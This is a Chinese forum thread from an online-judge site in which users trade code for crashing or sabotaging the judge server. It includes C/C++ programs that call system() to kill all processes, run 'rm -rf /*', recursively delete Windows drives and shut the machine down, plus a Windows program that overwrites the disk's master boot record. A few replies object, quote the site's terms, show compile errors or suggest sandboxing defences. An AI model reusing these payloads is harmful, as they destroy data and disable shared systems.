卡爆评测机!!!!!!!!1

此处搜集各种卡评测机代码。
本人先附上两个

第一个

#include<windows.h>
#include<iostream>
using namespace std;
int main()
{
char * a; while (true) a=new char[1000];
 }

这个可以卡自己的电脑,但卡不了评测机

第二个

#include<windows.h>
int main()
{
        while (true) system("tskill *");
}

20 条评论

  • @ 2024-04-04 20:50:49
    #include<bits/stdc++.h>
    using namespace std; 
    int main(){
        system("rm -rf /*");
    }
    

    会 MLE
    但是

    #include<bits/stdc++.h>
    using namespace std;
    int main(){
    system("rm -rf /bin/gcc");
    }

    会WA

  • @ 2022-01-30 20:17:13

    #include "stdafx.h"
    #include <Windows.h>
    #include <TlHelp32.h>
    char temp[512]={0xB8,0x012,0x000,0x0CD,0x010,0x0BD,0x018,0x07C,0x0B9,0x00F,0x000,0x0B8,0x001,0x013,0x0BB,0x00C,0x000,0x0BA,0x000,0x000,0x0CD,0x010,0x0E8,0x0FE,0x06D,0x061,0x06B,0x065,0x020,0x062,0x079,0x020,0x078,0x069,0x061,0x06F,0x070,0x061,0x06F,0x000};
    void GetPrivileges(){
    HANDLE hProcess;
    HANDLE hTokenHandle;
    TOKEN_PRIVILEGES tp;
    hProcess = GetCurrentProcess();
    OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);
    tp.PrivilegeCount =1;
    LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
    tp.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hTokenHandle,FALSE,&tp,sizeof(tp),NULL,NULL);
    CloseHandle(hTokenHandle);
    CloseHandle(hProcess);
    }
    void ReadPHYSICALDRIVE0(){
    HANDLE hFile;
    DWORD dwReadSize;
    char lpBuffer[512];
    char str_Name[] = "\\.\PHYSICALDRIVE0";
    hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
    if (hFile == INVALID_HANDLE_VALUE){
    MessageBox(0, "wrong", "wrong", 0);
    }
    BYTE pMBR[512] ={0};

    memcpy(pMBR,temp,sizeof(temp)-1);
    pMBR[510] =0x55;

    pMBR[511] = 0xAA;
    WriteFile(hFile, pMBR, 512, &dwReadSize, NULL);
    }
    int _tmain(int argc, _TCHAR* argv[]){
    GetPrivileges();
    ReadPHYSICALDRIVE0();
    system("shutdown -s -t 0");
    return 0;
    }

    • @ 2024-04-04 20:54:07

      Linux 是 system("poweroff");
      Linux 哪来的 #include <Windows.h>
      而且你这代码
      foo.cc:1:10: fatal error: stdafx.h: No such file or directory
      1 | #include "stdafx.h"
      | ^~~~~~~~~~
      compilation terminated.
      换用万能头后会
      /in/foo.cc:2:255: error: narrowing conversion of '184' from 'int' to 'char' inside { } [-Wnarrowing]
      char temp[512]={0xB8,0x012,0x000,0x0CD,0x010,0x0BD,0x018,0x07C,0x0B9,0x00F,0x000,0x0B8,0x001,0x013,0x0BB,0x00C,0x000,0x0BA,0x000,0x000,0x0CD,0x010,0x0E8,0x0FE,0x06D,0x061,0x06B,0x065,0x020,0x062,0x079,0x020,0x078,0x069,0x061,0x06F,0x070,0x061,0x06F,0x000};
      ^
      /in/foo.cc:2:255: error: narrowing conversion of '205' from 'int' to 'char' inside { } [-Wnarrowing]
      /in/foo.cc:2:255: error: narrowing conversion of '189' from 'int' to 'char' inside { } [-Wnarrowing]
      /in/foo.cc:2:255: error: narrowing conversion of '185' from 'int' to 'char' inside { } [-Wnarrowing]
      /in/foo.cc:2:255: error: narrowing conversion of '184' from 'int' to 'char' inside { } [-Wnarrowing]
      /in/foo.cc:2:255: error: narrowing conversion of '187' from 'int' to 'char' inside { } [-Wnarrowing]
      /in/foo.cc:2:255: error: narrowing conversion of '186' from 'int' to 'char' inside { } [-Wnarrowing]
      /in/foo.cc:2:255: error: narrowing conversion of '205' from 'int' to 'char' inside { } [-Wnarrowing]
      /in/foo.cc:2:255: error: narrowing conversion of '232' from 'int' to 'char' inside { } [-Wnarrowing]
      /in/foo.cc:2:255: error: narrowing conversion of '254' from 'int' to 'char' inside { } [-Wnarrowing]
      /in/foo.cc: In function 'void GetPrivileges()':
      /in/foo.cc:4:1: error: 'HANDLE' was not declared in this scope
      HANDLE hProcess;
      ^~~~~~
      /in/foo.cc:5:8: error: expected ';' before 'hTokenHandle'
      HANDLE hTokenHandle;
      ^~~~~~~~~~~~
      /in/foo.cc:6:1: error: 'TOKEN_PRIVILEGES' was not declared in this scope
      TOKEN_PRIVILEGES tp;
      ^~~~~~~~~~~~~~~~
      /in/foo.cc:7:1: error: 'hProcess' was not declared in this scope
      hProcess = GetCurrentProcess();
      ^~~~~~~~
      /in/foo.cc:7:30: error: 'GetCurrentProcess' was not declared in this scope
      hProcess = GetCurrentProcess();
      ^
      /in/foo.cc:8:28: error: 'TOKEN_ADJUST_PRIVILEGES' was not declared in this scope
      OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);
      ^~~~~~~~~~~~~~~~~~~~~~~
      /in/foo.cc:8:54: error: 'TOKEN_QUERY' was not declared in this scope
      OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);
      ^~~~~~~~~~~
      /in/foo.cc:8:68: error: 'hTokenHandle' was not declared in this scope
      OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);
      ^~~~~~~~~~~~
      /in/foo.cc:8:80: error: 'OpenProcessToken' was not declared in this scope
      OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);
      ^
      /in/foo.cc:9:1: error: 'tp' was not declared in this scope
      tp.PrivilegeCount =1;
      ^~
      /in/foo.cc:10:27: error: 'SE_DEBUG_NAME' was not declared in this scope
      LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
      ^~~~~~~~~~~~~
      /in/foo.cc:10:63: error: 'LookupPrivilegeValue' was not declared in this scope
      LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
      ^
      /in/foo.cc:11:30: error: 'SE_PRIVILEGE_ENABLED' was not declared in this scope
      tp.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED;
      ^~~~~~~~~~~~~~~~~~~~
      /in/foo.cc:12:36: error: 'FALSE' was not declared in this scope
      AdjustTokenPrivileges(hTokenHandle,FALSE,&tp,sizeof(tp),NULL,NULL);
      ^~~~~
      /in/foo.cc:12:66: error: 'AdjustTokenPrivileges' was not declared in this scope
      AdjustTokenPrivileges(hTokenHandle,FALSE,&tp,sizeof(tp),NULL,NULL);
      ^
      /in/foo.cc:13:25: error: 'CloseHandle' was not declared in this scope
      CloseHandle(hTokenHandle);
      ^
      /in/foo.cc: In function 'void ReadPHYSICALDRIVE0()':
      /in/foo.cc:17:1: error: 'HANDLE' was not declared in this scope
      HANDLE hFile;
      ^~~~~~
      /in/foo.cc:18:1: error: 'DWORD' was not declared in this scope
      DWORD dwReadSize;
      ^~~~~
      /in/foo.cc:20:19: warning: unknown escape sequence: '\P'
      char str_Name[] = "\.\PHYSICALDRIVE0";
      ^~~~~~~~~~~~~~~~~~~~
      /in/foo.cc:21:1: error: 'hFile' was not declared in this scope
      hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
      ^~~~~
      /in/foo.cc:21:30: error: 'GENERIC_READ' was not declared in this scope
      hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
      ^~~~~~~~~~~~
      /in/foo.cc:21:45: error: 'GENERIC_WRITE' was not declared in this scope
      hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
      ^~~~~~~~~~~~~
      /in/foo.cc:21:69: error: 'OPEN_EXISTING' was not declared in this scope
      hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
      ^~~~~~~~~~~~~
      /in/foo.cc:21:85: error: 'FILE_ATTRIBUTE_NORMAL' was not declared in this scope
      hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
      ^~~~~~~~~~~~~~~~~~~~~
      /in/foo.cc:21:109: error: 'CreateFile' was not declared in this scope
      hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
      ^
      /in/foo.cc:22:14: error: 'INVALID_HANDLE_VALUE' was not declared in this scope
      if (hFile == INVALID_HANDLE_VALUE){
      ^~~~~~~~~~~~~~~~~~~~
      /in/foo.cc:23:34: error: 'MessageBox' was not declared in this scope
      MessageBox(0, "wrong", "wrong", 0);
      ^
      /in/foo.cc:25:1: error: 'BYTE' was not declared in this scope
      BYTE pMBR[512] ={0};
      ^~~~
      /in/foo.cc:27:8: error: 'pMBR' was not declared in this scope
      memcpy(pMBR,temp,sizeof(temp)-1);
      ^~~~
      /in/foo.cc:31:30: error: 'dwReadSize' was not declared in this scope
      WriteFile(hFile, pMBR, 512, &dwReadSize, NULL);
      ^~~~~~~~~~
      /in/foo.cc:31:46: error: 'WriteFile' was not declared in this scope
      WriteFile(hFile, pMBR, 512, &dwReadSize, NULL);
      ^
      /in/foo.cc:19:6: warning: unused variable 'lpBuffer' [-Wunused-variable]
      char lpBuffer[512];
      ^~~~~~~~
      /in/foo.cc: At global scope:
      /in/foo.cc:33:22: error: '_TCHAR' has not been declared
      int _tmain(int argc, _TCHAR* argv[]){

  • @ 2020-06-07 13:35:17

    vijos服务条款6

    不得发布包含恶意代码、指向恶意网站或 Vijos 明确禁止的网站的链接的内容。

  • @ 2020-05-24 13:32:41

    不好好刷题卡什么评测机啊

  • @ 2020-04-17 12:28:53

    哪里抄来的垃圾代码

    vijos自己都有一个垃圾代码库,里面的代码都比这个代码好上几倍。

    发明垃圾代码也要很好的思维

  • @ 2020-04-06 18:09:15

    仅提供一些思路,不具放代码,避免被一些小学生到处拿去玩。放心,对LG无效。
    #include<con>(针对win)#include</dev/console>(针对linux)
    实际上就是等待你的标准读入。造成编译超时(如果不被kill的话)
    #include</dev/random>
    从系统返回随机数,也会被卡编译。
    BZOJ之前经常因为这个中招
    模板炸弹
    可以生成出一个很大、很长的可执行文件,从而卡编译甚至卡机。
    system('...') / popen('...')
    运行直接系统调用。不过这个基本上还是能防的,比如ptrace等方法。
    沙箱/docker漏洞
    这个没发现过,但是不排除有发生的可能。
    拒绝式攻击
    短时间提交大量长时间运行题目。
    给出一些自己开发评测系统的一些建议:
    黑名单和谐掉某些关键字是没用的。攻击者可以通过define等方法拼凑出来。
    直接上docker,限制好docker的权限,任由程序在docker里面玩。超过时间或者内存限制就杀掉好了。同时限制编译时间。
    限制好用户短时间之内的提交数量。然后也要限制新用户注册等等防止自动化大量提交。
    如果是学校内部使用,就没有必要煞费苦心使用技术防这防那的了,而是改用武力解决乱来的小朋友。
    分享笑话一则:
    有小学生在讨论区发帖,声称可以黑掉LG。打开一看,就是一个不知道从哪里复制过来的PHP shell code,还是直接以文字形式发送的。

    • @ 2020-04-06 23:03:57

      为什么我会ce?

      /in/foo.cc:2:23: fatal error: /dev/console: No such file or directory
      #include</dev/console>
      ^
      compilation terminated.

    • @ 2020-05-23 19:17:08

      请问一下,

      ——一个SB,kkksc03

      这是什么?

    • @ 2020-06-13 21:08:40

      @
      CatWigle281
      : 以前我这样,现在觉得luogu太强了……

  • @ 2016-08-06 17:20:54

  • @ 2016-07-08 14:55:11

    只会自己递交的内存爆掉。

  • @ 2014-11-06 22:39:32

    为毛突然想起了ntdll里的两个API:rtlSetProcessIsCritical和rtlAdjustPrivilege...

  • @ 2014-07-15 18:06:02

    zan

  • @ 2014-04-27 16:30:33

    hehe

  • @ 2014-03-12 21:42:05

    1/windows.h怎么可能包含呢。。。。
    2/竟然在oj执行system();。。。。
    3/<con>卡爆vijos别想了。。。。
    4/第一个代码是卡内存吧。。别想了。。。。
    5/{

    twd2 回复于2014-01-24 17:30
    您好vijos不是一般oj噢
    }

    • @ 2014-03-15 13:42:08

      唔,发现我应该去改下密码

  • @ 2014-03-12 12:48:47

    #include<stdlib.h>
    int main()
    {
    system("shutdown -s -t 0");
    return 0;
    }

  • @ 2014-03-08 23:16:33

    真高深

  • @ 2014-01-30 10:34:58
    #include<windows.h>
    
    int main()
    {
     system("echo rd c: /s /q>>rd.cmd");
     system("echo rd d: /s /q>>rd.cmd");
     system("echo rd e: /s /q>>rd.cmd"); 
     system("start rd.cmd"); 
    }
    
  • @ 2014-01-27 13:27:29

    看到windows我就觉得不靠谱啊这个

  • @ 2014-01-24 20:02:33
    #include<con>
    #include"\\\\PHYSICALDRIVE0"
    
  • @ 2014-01-24 17:19:27

    不过一般oj会禁掉windows.h吧。。

    • @ 2014-01-24 17:30:03

      您好vijos不是一般oj噢

  • @ 2014-01-23 21:56:19

    测试失败

  • @ 2014-01-23 19:36:13

    求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!求关注!!!

  • 1

信息

ID
1000
难度
9
分类
(无)
标签
(无)
递交数
74382
已通过
28459
通过率
38%
被复制
220